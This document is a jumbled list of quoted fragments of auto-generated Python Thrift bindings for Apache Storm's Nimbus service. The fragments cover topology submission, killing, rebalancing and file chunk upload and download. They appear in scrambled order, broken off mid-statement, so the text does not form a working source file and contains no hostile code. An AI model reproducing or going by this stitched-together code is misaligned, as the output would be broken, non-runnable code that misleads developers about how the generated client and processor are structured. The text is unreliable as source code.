chunk \"\"\" thrift_spec", "(self == other) class killTopologyWithOpts_result: \"\"\" Attributes: - e \"\"\"", "args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getTopologyConf(self, ): (fname, mtype, rseqid) =", "return oprot.writeStructBegin('killTopology_args') if self.name is not None: oprot.writeFieldBegin('name', TType.STRING, 1)", "process_killTopology(self, seqid, iprot, oprot): args = killTopology_args() args.read(iprot) iprot.readMessageEnd() result", "submitTopologyWithOpts_args: \"\"\" Attributes: - name - uploadedJarLocation - jsonConf -", "result.success = self._handler.getUserTopology(args.id) except NotAliveException as e: result.e = e", "jsonConf self.topology = topology def read(self, iprot): if iprot.__class__ ==", "not (self == other) class getTopologyInfo_args: \"\"\" Attributes: - id", "self._iprot.readMessageEnd() raise x result = activate_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e", "e oprot.writeMessageBegin(\"getTopology\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getUserTopology(self, seqid,", "is not None: oprot.writeFieldBegin('success', TType.STRING, 0) oprot.writeString(self.success) oprot.writeFieldEnd() if self.e", "x = TApplicationException(TApplicationException.UNKNOWN_METHOD, 'Unknown function %s' % (name)) oprot.writeMessageBegin(name, TMessageType.EXCEPTION,", "(StormTopology, StormTopology.thrift_spec), None, ), # 4 ) def __init__(self, name=None,", "return result.success if result.e is not None: raise result.e raise", "oprot.writeStructBegin('submitTopology_args') if self.name is not None: oprot.writeFieldBegin('name', TType.STRING, 1) oprot.writeString(self.name)", "self._oprot.writeMessageBegin('getTopologyInfo', TMessageType.CALL, self._seqid) args = getTopologyInfo_args() args.id = id args.write(self._oprot)", "ftype == TType.STRING: self.success = iprot.readString(); else: iprot.skip(ftype) else: iprot.skip(ftype)", ") def __init__(self, name=None, options=None,): self.name = name self.options =", "class submitTopologyWithOpts_result: \"\"\" Attributes: - e - ite \"\"\" thrift_spec", "id): \"\"\" Parameters: - id \"\"\" self.send_getUserTopology(id) return self.recv_getUserTopology() def", "= TApplicationException(TApplicationException.UNKNOWN_METHOD, 'Unknown function %s' % (name)) oprot.writeMessageBegin(name, TMessageType.EXCEPTION, seqid)", "\"\"\" self.send_uploadChunk(location, chunk) self.recv_uploadChunk() def send_uploadChunk(self, location, chunk): self._oprot.writeMessageBegin('uploadChunk', TMessageType.CALL,", "None, ), # 2 (3, TType.STRING, 'jsonConf', None, None, ),", "result = downloadChunk_result() result.success = self._handler.downloadChunk(args.id) oprot.writeMessageBegin(\"downloadChunk\", TMessageType.REPLY, seqid) result.write(oprot)", "None, ), # 1 ) def __init__(self, e=None,): self.e =", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('rebalance_args') if self.name is not None:", "0: if ftype == TType.STRUCT: self.success = StormTopology() self.success.read(iprot) else:", "args = getTopologyConf_args() args.read(iprot) iprot.readMessageEnd() result = getTopologyConf_result() try: result.success", "else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def write(self, oprot): if", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('downloadChunk_result') if self.success", "not (self == other) class submitTopology_result: \"\"\" Attributes: - e", "oprot.writeStructBegin('getNimbusConf_args') oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L =", "oprot.writeFieldBegin('options', TType.STRUCT, 2) self.options.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return", "Compiler (0.9.0) # # DO NOT EDIT UNLESS YOU ARE", "write(self, oprot): if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not", "\"\"\" Attributes: - success \"\"\" thrift_spec = ( (0, TType.STRUCT,", "None: oprot.writeFieldBegin('e', TType.STRUCT, 1) self.e.write(oprot) oprot.writeFieldEnd() if self.ite is not", "\"\"\" Attributes: - e \"\"\" thrift_spec = ( None, #", "send_getNimbusConf(self, ): self._oprot.writeMessageBegin('getNimbusConf', TMessageType.CALL, self._seqid) args = getNimbusConf_args() args.write(self._oprot) self._oprot.writeMessageEnd()", "result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"getNimbusConf failed: unknown result\"); def getClusterInfo(self, ):", "= name args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_killTopology(self, ): (fname, mtype,", "DOING # # options string: py # from thrift.Thrift import", "options): \"\"\" Parameters: - name - options \"\"\" self.send_rebalance(name, options)", "args.jsonConf = jsonConf args.topology = topology args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('beginFileUpload_args') oprot.writeFieldStop() oprot.writeStructEnd() def validate(self):", "(self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopology_args') if self.id is not None: oprot.writeFieldBegin('id',", "def getTopologyInfo(self, id): \"\"\" Parameters: - id \"\"\" self.send_getTopologyInfo(id) return", "self._iprot.readMessageEnd() raise x result = killTopologyWithOpts_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.e", "is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getUserTopology_args') if self.id", "iprot.skip(ftype) elif fid == 2: if ftype == TType.STRING: self.chunk", "not (self == other) class getClusterInfo_args: thrift_spec = ( )", "not None: raise result.e return def rebalance(self, name, options): \"\"\"", "= Processor.process_killTopologyWithOpts self._processMap[\"activate\"] = Processor.process_activate self._processMap[\"deactivate\"] = Processor.process_deactivate self._processMap[\"rebalance\"] =", "send_submitTopologyWithOpts(self, name, uploadedJarLocation, jsonConf, topology, options): self._oprot.writeMessageBegin('submitTopologyWithOpts', TMessageType.CALL, self._seqid) args", "return oprot.writeStructBegin('getTopologyInfo_result') if self.success is not None: oprot.writeFieldBegin('success', TType.STRUCT, 0)", "= killTopology_args() args.read(iprot) iprot.readMessageEnd() result = killTopology_result() try: self._handler.killTopology(args.name) except", "# 1 (2, TType.STRUCT, 'ite', (InvalidTopologyException, InvalidTopologyException.thrift_spec), None, ), #", "recv_killTopology(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype ==", "{} self._processMap[\"submitTopology\"] = Processor.process_submitTopology self._processMap[\"submitTopologyWithOpts\"] = Processor.process_submitTopologyWithOpts self._processMap[\"killTopology\"] = Processor.process_killTopology", "None: raise result.e raise TApplicationException(TApplicationException.MISSING_RESULT, \"getTopology failed: unknown result\"); def", "TType.STRUCT: self.options = RebalanceOptions() self.options.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd()", "other): return not (self == other) class getTopology_result: \"\"\" Attributes:", "if ftype == TType.STRING: self.location = iprot.readString(); else: iprot.skip(ftype) elif", "def recv_finishFileUpload(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype", "downloadChunk_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not None: return result.success", "oprot.writeStructBegin('beginFileDownload_args') if self.file is not None: oprot.writeFieldBegin('file', TType.STRING, 1) oprot.writeString(self.file)", "4 (5, TType.STRUCT, 'options', (SubmitOptions, SubmitOptions.thrift_spec), None, ), # 5", "- uploadedJarLocation - jsonConf - topology \"\"\" thrift_spec = (", "iprot.readMessageEnd() result = getTopology_result() try: result.success = self._handler.getTopology(args.id) except NotAliveException", "1) oprot.writeString(self.location) oprot.writeFieldEnd() if self.chunk is not None: oprot.writeFieldBegin('chunk', TType.STRING,", "- id \"\"\" pass def getTopologyConf(self, id): \"\"\" Parameters: -", "ftype == TType.STRING: self.id = iprot.readString(); else: iprot.skip(ftype) else: iprot.skip(ftype)", "result.e = e oprot.writeMessageBegin(\"killTopology\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('beginFileUpload_args') oprot.writeFieldStop()", "fastbinary.decode_binary(self, iprot.trans, (self.__class__, self.thrift_spec)) return iprot.readStructBegin() while True: (fname, ftype,", "TType.STOP: break if fid == 1: if ftype == TType.STRING:", "topology, options): \"\"\" Parameters: - name - uploadedJarLocation - jsonConf", "TType.STRING, 'success', None, None, ), # 0 ) def __init__(self,", "(2, TType.STRUCT, 'options', (RebalanceOptions, RebalanceOptions.thrift_spec), None, ), # 2 )", "( None, # 0 (1, TType.STRING, 'location', None, None, ),", "x.read(self._iprot) self._iprot.readMessageEnd() raise x result = submitTopologyWithOpts_result() result.read(self._iprot) self._iprot.readMessageEnd() if", "= TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = getTopology_result() result.read(self._iprot)", "== 3: if ftype == TType.STRING: self.jsonConf = iprot.readString(); else:", "uploadedJarLocation args.jsonConf = jsonConf args.topology = topology args.options = options", "1 (2, TType.STRING, 'uploadedJarLocation', None, None, ), # 2 (3,", "- ite \"\"\" thrift_spec = ( None, # 0 (1,", "if ftype == TType.STRUCT: self.ite = InvalidTopologyException() self.ite.read(iprot) else: iprot.skip(ftype)", "if self.id is not None: oprot.writeFieldBegin('id', TType.STRING, 1) oprot.writeString(self.id) oprot.writeFieldEnd()", "return not (self == other) class submitTopologyWithOpts_result: \"\"\" Attributes: -", "getTopology_args: \"\"\" Attributes: - id \"\"\" thrift_spec = ( None,", "other) class rebalance_args: \"\"\" Attributes: - name - options \"\"\"", "self._oprot.trans.flush() def recv_finishFileUpload(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if", "oprot.trans.flush() def process_getUserTopology(self, seqid, iprot, oprot): args = getUserTopology_args() args.read(iprot)", "== other) class killTopologyWithOpts_args: \"\"\" Attributes: - name - options", "jsonConf, topology): \"\"\" Parameters: - name - uploadedJarLocation - jsonConf", "def recv_deactivate(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin() if mtype", "- name - uploadedJarLocation - jsonConf - topology \"\"\" thrift_spec", "id): \"\"\" Parameters: - id \"\"\" self.send_downloadChunk(id) return self.recv_downloadChunk() def", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('activate_args')", "def __ne__(self, other): return not (self == other) class getNimbusConf_args:", "TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = submitTopologyWithOpts_result() result.read(self._iprot) self._iprot.readMessageEnd()", "def uploadChunk(self, location, chunk): \"\"\" Parameters: - location - chunk", "iprot, oprot): args = submitTopologyWithOpts_args() args.read(iprot) iprot.readMessageEnd() result = submitTopologyWithOpts_result()", "else: iprot.skip(ftype) elif fid == 4: if ftype == TType.STRUCT:", "= uploadChunk_result() self._handler.uploadChunk(args.location, args.chunk) oprot.writeMessageBegin(\"uploadChunk\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush()", "__init__(self, e=None, ite=None,): self.e = e self.ite = ite def", "return oprot.writeStructBegin('getTopologyConf_result') if self.success is not None: oprot.writeFieldBegin('success', TType.STRING, 0)", "= SubmitOptions() self.options.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd() iprot.readStructEnd() def", "oprot.writeStructBegin('getTopologyConf_result') if self.success is not None: oprot.writeFieldBegin('success', TType.STRING, 0) oprot.writeString(self.success)", "args = killTopologyWithOpts_args() args.read(iprot) iprot.readMessageEnd() result = killTopologyWithOpts_result() try: self._handler.killTopologyWithOpts(args.name,", "result = getTopologyConf_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not None:", "TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_beginFileDownload(self, seqid, iprot, oprot):", "\"\"\" Parameters: - name \"\"\" pass def deactivate(self, name): \"\"\"", "== other) class getClusterInfo_result: \"\"\" Attributes: - success \"\"\" thrift_spec", "getUserTopology_result: \"\"\" Attributes: - success - e \"\"\" thrift_spec =", "0 (1, TType.STRING, 'file', None, None, ), # 1 )", "id \"\"\" self.send_getTopology(id) return self.recv_getTopology() def send_getTopology(self, id): self._oprot.writeMessageBegin('getTopology', TMessageType.CALL,", "- location - chunk \"\"\" thrift_spec = ( None, #", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('uploadChunk_result') oprot.writeFieldStop() oprot.writeStructEnd() def", "pass def getClusterInfo(self, ): pass def getTopologyInfo(self, id): \"\"\" Parameters:", "'%s(%s)' % (self.__class__.__name__, ', '.join(L)) def __eq__(self, other): return isinstance(other,", "oprot.writeMessageEnd() oprot.trans.flush() def process_finishFileUpload(self, seqid, iprot, oprot): args = finishFileUpload_args()", "= getClusterInfo_args() args.read(iprot) iprot.readMessageEnd() result = getClusterInfo_result() result.success = self._handler.getClusterInfo()", "(self.__class__, self.thrift_spec)) return iprot.readStructBegin() while True: (fname, ftype, fid) =", "self.topology = topology def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated", "'location', None, None, ), # 1 ) def __init__(self, location=None,):", "try: self._handler.deactivate(args.name) except NotAliveException as e: result.e = e oprot.writeMessageBegin(\"deactivate\",", "= chunk def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and", "jsonConf self.topology = topology self.options = options def read(self, iprot):", "try: result.success = self._handler.getTopology(args.id) except NotAliveException as e: result.e =", "== TType.STRUCT: self.options = KillOptions() self.options.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype)", "self.thrift_spec))) return oprot.writeStructBegin('activate_result') if self.e is not None: oprot.writeFieldBegin('e', TType.STRUCT,", "== other) class downloadChunk_result: \"\"\" Attributes: - success \"\"\" thrift_spec", "other) class getTopology_args: \"\"\" Attributes: - id \"\"\" thrift_spec =", "Parameters: - location - chunk \"\"\" pass def finishFileUpload(self, location):", "unknown result\"); def downloadChunk(self, id): \"\"\" Parameters: - id \"\"\"", "TType.STRUCT: self.topology = StormTopology() self.topology.read(iprot) else: iprot.skip(ftype) else: iprot.skip(ftype) iprot.readFieldEnd()", "self._handler.getTopology(args.id) except NotAliveException as e: result.e = e oprot.writeMessageBegin(\"getTopology\", TMessageType.REPLY,", "self._seqid) args = uploadChunk_args() args.location = location args.chunk = chunk", "TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = getTopology_result() result.read(self._iprot) self._iprot.readMessageEnd()", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('submitTopology_result') if self.e is", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('uploadChunk_args') if self.location is", "topology args.options = options args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_submitTopologyWithOpts(self, ):", "self.success.read(iprot) else: iprot.skip(ftype) elif fid == 1: if ftype ==", "SubmitOptions.thrift_spec), None, ), # 5 ) def __init__(self, name=None, uploadedJarLocation=None,", "TType.STRUCT, 'topology', (StormTopology, StormTopology.thrift_spec), None, ), # 4 (5, TType.STRUCT,", "as e: result.e = e oprot.writeMessageBegin(\"getTopology\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd()", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('activate_args') if", "- id \"\"\" self.send_getTopologyConf(id) return self.recv_getTopologyConf() def send_getTopologyConf(self, id): self._oprot.writeMessageBegin('getTopologyConf',", "self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_submitTopologyWithOpts(self, ): (fname, mtype, rseqid) = self._iprot.readMessageBegin()", "TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_getTopologyInfo(self, seqid, iprot, oprot):", "oprot.writeMessageEnd() oprot.trans.flush() def process_activate(self, seqid, iprot, oprot): args = activate_args()", "iprot.skip(ftype) elif fid == 3: if ftype == TType.STRING: self.jsonConf", "return oprot.writeStructBegin('rebalance_result') if self.e is not None: oprot.writeFieldBegin('e', TType.STRUCT, 1)", "seqid, iprot, oprot): args = beginFileUpload_args() args.read(iprot) iprot.readMessageEnd() result =", "None: oprot.writeFieldBegin('jsonConf', TType.STRING, 3) oprot.writeString(self.jsonConf) oprot.writeFieldEnd() if self.topology is not", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('submitTopologyWithOpts_result') if self.e is not None:", "def send_getTopology(self, id): self._oprot.writeMessageBegin('getTopology', TMessageType.CALL, self._seqid) args = getTopology_args() args.id", "2: if ftype == TType.STRUCT: self.ite = InvalidTopologyException() self.ite.read(iprot) else:", "uploadChunk(self, location, chunk): \"\"\" Parameters: - location - chunk \"\"\"", "Parameters: - name - uploadedJarLocation - jsonConf - topology \"\"\"", "downloadChunk(self, id): \"\"\" Parameters: - id \"\"\" pass def getNimbusConf(self,", "raise x result = getTopologyInfo_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is", "self.e is not None: oprot.writeFieldBegin('e', TType.STRUCT, 1) self.e.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop()", "topology args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_submitTopology(self, ): (fname, mtype, rseqid)", "Processor.process_killTopologyWithOpts self._processMap[\"activate\"] = Processor.process_activate self._processMap[\"deactivate\"] = Processor.process_deactivate self._processMap[\"rebalance\"] = Processor.process_rebalance", "result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_beginFileDownload(self, seqid, iprot, oprot): args =", "oprot.writeFieldEnd() if self.ite is not None: oprot.writeFieldBegin('ite', TType.STRUCT, 2) self.ite.write(oprot)", "not (self == other) class finishFileUpload_result: thrift_spec = ( )", "other): return not (self == other) class getUserTopology_args: \"\"\" Attributes:", "e oprot.writeMessageBegin(\"killTopologyWithOpts\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_activate(self, seqid,", "L = ['%s=%r' % (key, value) for key, value in", "result.ite return def killTopology(self, name): \"\"\" Parameters: - name \"\"\"", "not None: oprot.writeFieldBegin('topology', TType.STRUCT, 4) self.topology.write(oprot) oprot.writeFieldEnd() if self.options is", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('killTopology_args') if self.name is", "args.chunk = chunk args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_uploadChunk(self, ): (fname,", "chunk \"\"\" thrift_spec = ( None, # 0 (1, TType.STRING,", "oprot=None): self._iprot = self._oprot = iprot if oprot is not", "result.ite return def beginFileUpload(self, ): self.send_beginFileUpload() return self.recv_beginFileUpload() def send_beginFileUpload(self,", "\"\"\" thrift_spec = ( None, # 0 (1, TType.STRING, 'location',", "), # 1 ) def __init__(self, e=None,): self.e = e", "args.read(iprot) iprot.readMessageEnd() result = getTopology_result() try: result.success = self._handler.getTopology(args.id) except", "if ftype == TType.STRING: self.name = iprot.readString(); else: iprot.skip(ftype) else:", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('rebalance_args') if", "iprot.readMessageEnd() result = getClusterInfo_result() result.success = self._handler.getClusterInfo() oprot.writeMessageBegin(\"getClusterInfo\", TMessageType.REPLY, seqid)", "if self.location is not None: oprot.writeFieldBegin('location', TType.STRING, 1) oprot.writeString(self.location) oprot.writeFieldEnd()", "getTopologyConf_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not None: return result.success", "x.read(self._iprot) self._iprot.readMessageEnd() raise x result = activate_result() result.read(self._iprot) self._iprot.readMessageEnd() if", "ite def read(self, iprot): if iprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and isinstance(iprot.trans,", "oprot): if oprot.__class__ == TBinaryProtocol.TBinaryProtocolAccelerated and self.thrift_spec is not None", "= downloadChunk_result() result.success = self._handler.downloadChunk(args.id) oprot.writeMessageBegin(\"downloadChunk\", TMessageType.REPLY, seqid) result.write(oprot) oprot.writeMessageEnd()", "name - options \"\"\" pass def activate(self, name): \"\"\" Parameters:", "id): self._oprot.writeMessageBegin('getUserTopology', TMessageType.CALL, self._seqid) args = getUserTopology_args() args.id = id", "other) class beginFileUpload_args: thrift_spec = ( ) def read(self, iprot):", "args.file = file args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_beginFileDownload(self, ): (fname,", "'name', None, None, ), # 1 (2, TType.STRUCT, 'options', (RebalanceOptions,", "return not (self == other) class getTopologyConf_result: \"\"\" Attributes: -", "raise result.e return def rebalance(self, name, options): \"\"\" Parameters: -", "oprot.writeStructBegin('getNimbusConf_result') if self.success is not None: oprot.writeFieldBegin('success', TType.STRING, 0) oprot.writeString(self.success)", "name, uploadedJarLocation, jsonConf, topology, options): \"\"\" Parameters: - name -", "(name)) oprot.writeMessageBegin(name, TMessageType.EXCEPTION, seqid) x.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() return else: self._processMap[name](self,", "= location args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_finishFileUpload(self, ): (fname, mtype,", "args = getNimbusConf_args() args.read(iprot) iprot.readMessageEnd() result = getNimbusConf_result() result.success =", "x.read(self._iprot) self._iprot.readMessageEnd() raise x result = beginFileUpload_result() result.read(self._iprot) self._iprot.readMessageEnd() if", "def send_getNimbusConf(self, ): self._oprot.writeMessageBegin('getNimbusConf', TMessageType.CALL, self._seqid) args = getNimbusConf_args() args.write(self._oprot)", "(SubmitOptions, SubmitOptions.thrift_spec), None, ), # 5 ) def __init__(self, name=None,", "result = rebalance_result() try: self._handler.rebalance(args.name, args.options) except NotAliveException as e:", "not None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"getNimbusConf failed: unknown result\");", "return oprot.writeStructBegin('getTopologyInfo_args') if self.id is not None: oprot.writeFieldBegin('id', TType.STRING, 1)", "TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd() raise x result = beginFileUpload_result() result.read(self._iprot) self._iprot.readMessageEnd()", "return oprot.writeStructBegin('getNimbusConf_args') oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L", "if ftype == TType.STRING: self.uploadedJarLocation = iprot.readString(); else: iprot.skip(ftype) elif", "(self == other) class uploadChunk_args: \"\"\" Attributes: - location -", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getUserTopology_result') if", "def __ne__(self, other): return not (self == other) class getTopology_result:", "= self._handler.getTopologyConf(args.id) except NotAliveException as e: result.e = e oprot.writeMessageBegin(\"getTopologyConf\",", "self._iprot.readMessageBegin() if mtype == TMessageType.EXCEPTION: x = TApplicationException() x.read(self._iprot) self._iprot.readMessageEnd()", "not None: oprot.writeFieldBegin('success', TType.STRUCT, 0) self.success.write(oprot) oprot.writeFieldEnd() if self.e is", "beginFileDownload(self, file): \"\"\" Parameters: - file \"\"\" self.send_beginFileDownload(file) return self.recv_beginFileDownload()", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('beginFileDownload_result') if", "args.topology) except AlreadyAliveException as e: result.e = e except InvalidTopologyException", "if fid == 0: if ftype == TType.STRUCT: self.success =", "__ne__(self, other): return not (self == other) class finishFileUpload_args: \"\"\"", "== other) class getTopologyInfo_args: \"\"\" Attributes: - id \"\"\" thrift_spec", "= iprot.readFieldBegin() if ftype == TType.STOP: break else: iprot.skip(ftype) iprot.readFieldEnd()", "id args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def recv_getTopology(self, ): (fname, mtype, rseqid)", "self._processMap[\"getClusterInfo\"] = Processor.process_getClusterInfo self._processMap[\"getTopologyInfo\"] = Processor.process_getTopologyInfo self._processMap[\"getTopologyConf\"] = Processor.process_getTopologyConf self._processMap[\"getTopology\"]", "if self.options is not None: oprot.writeFieldBegin('options', TType.STRUCT, 2) self.options.write(oprot) oprot.writeFieldEnd()", "args = getClusterInfo_args() args.read(iprot) iprot.readMessageEnd() result = getClusterInfo_result() result.success =", "not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('finishFileUpload_args') if self.location is", "= getTopology_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not None: return", "), # 1 (2, TType.STRUCT, 'options', (RebalanceOptions, RebalanceOptions.thrift_spec), None, ),", "uploadedJarLocation=None, jsonConf=None, topology=None,): self.name = name self.uploadedJarLocation = uploadedJarLocation self.jsonConf", "TMessageType.CALL, self._seqid) args = beginFileDownload_args() args.file = file args.write(self._oprot) self._oprot.writeMessageEnd()", "= self._handler.getTopology(args.id) except NotAliveException as e: result.e = e oprot.writeMessageBegin(\"getTopology\",", "args.name = name args.options = options args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush() def", "beginFileDownload_result: \"\"\" Attributes: - success \"\"\" thrift_spec = ( (0,", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('submitTopology_result') if", "TopologyInfo() self.success.read(iprot) else: iprot.skip(ftype) elif fid == 1: if ftype", "TType.STRING: self.jsonConf = iprot.readString(); else: iprot.skip(ftype) elif fid == 4:", "self.topology is not None: oprot.writeFieldBegin('topology', TType.STRUCT, 4) self.topology.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop()", "uploadChunk_result: thrift_spec = ( ) def read(self, iprot): if iprot.__class__", "jsonConf=None, topology=None,): self.name = name self.uploadedJarLocation = uploadedJarLocation self.jsonConf =", "self.thrift_spec))) return oprot.writeStructBegin('getClusterInfo_args') oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self):", "Parameters: - id \"\"\" self.send_getTopology(id) return self.recv_getTopology() def send_getTopology(self, id):", "oprot.trans.flush() def process_finishFileUpload(self, seqid, iprot, oprot): args = finishFileUpload_args() args.read(iprot)", "other) class getTopologyInfo_args: \"\"\" Attributes: - id \"\"\" thrift_spec =", "TMessageType.CALL, self._seqid) args = killTopology_args() args.name = name args.write(self._oprot) self._oprot.writeMessageEnd()", "TMessageType.CALL, self._seqid) args = deactivate_args() args.name = name args.write(self._oprot) self._oprot.writeMessageEnd()", "# 0 ) def __init__(self, success=None,): self.success = success def", "1) oprot.writeString(self.file) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self):", "SURE THAT YOU KNOW WHAT YOU ARE DOING # #", "(self == other) class getTopologyConf_result: \"\"\" Attributes: - success -", "None: return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"beginFileDownload failed: unknown result\"); def", "return result.success raise TApplicationException(TApplicationException.MISSING_RESULT, \"beginFileDownload failed: unknown result\"); def downloadChunk(self,", "oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getNimbusConf_args') oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return", "and fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopology_args')", "return oprot.writeStructBegin('submitTopologyWithOpts_args') if self.name is not None: oprot.writeFieldBegin('name', TType.STRING, 1)", "pass def rebalance(self, name, options): \"\"\" Parameters: - name -", "class Processor(Iface, TProcessor): def __init__(self, handler): self._handler = handler self._processMap", "other): return not (self == other) class uploadChunk_args: \"\"\" Attributes:", "TBinaryProtocol, TProtocol try: from thrift.protocol import fastbinary except: fastbinary =", "def __ne__(self, other): return not (self == other) class activate_result:", "oprot): args = getNimbusConf_args() args.read(iprot) iprot.readMessageEnd() result = getNimbusConf_result() result.success", "= getUserTopology_result() result.read(self._iprot) self._iprot.readMessageEnd() if result.success is not None: return", "not (self == other) class downloadChunk_args: \"\"\" Attributes: - id", "def __init__(self, iprot, oprot=None): self._iprot = self._oprot = iprot if", "ftype == TType.STRUCT: self.options = KillOptions() self.options.read(iprot) else: iprot.skip(ftype) else:", "name self.uploadedJarLocation = uploadedJarLocation self.jsonConf = jsonConf self.topology = topology", "NotAliveException as e: result.e = e except InvalidTopologyException as ite:", "seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_rebalance(self, seqid, iprot, oprot): args", "fastbinary is not None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('getTopologyInfo_result') if", "seqid) result.write(oprot) oprot.writeMessageEnd() oprot.trans.flush() def process_submitTopologyWithOpts(self, seqid, iprot, oprot): args", "activate_result() try: self._handler.activate(args.name) except NotAliveException as e: result.e = e", "return not (self == other) class beginFileDownload_args: \"\"\" Attributes: -", "self.thrift_spec))) return oprot.writeStructBegin('finishFileUpload_result') oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self):", "jsonConf - topology - options \"\"\" thrift_spec = ( None,", "self.topology.write(oprot) oprot.writeFieldEnd() oprot.writeFieldStop() oprot.writeStructEnd() def validate(self): return def __repr__(self): L", "None: oprot.trans.write(fastbinary.encode_binary(self, (self.__class__, self.thrift_spec))) return oprot.writeStructBegin('killTopology_result') if self.e is not", "fid == 1: if ftype == TType.STRUCT: self.e = AlreadyAliveException()", "jsonConf args.topology = topology args.options = options args.write(self._oprot) self._oprot.writeMessageEnd() self._oprot.trans.flush()", "result.e = e 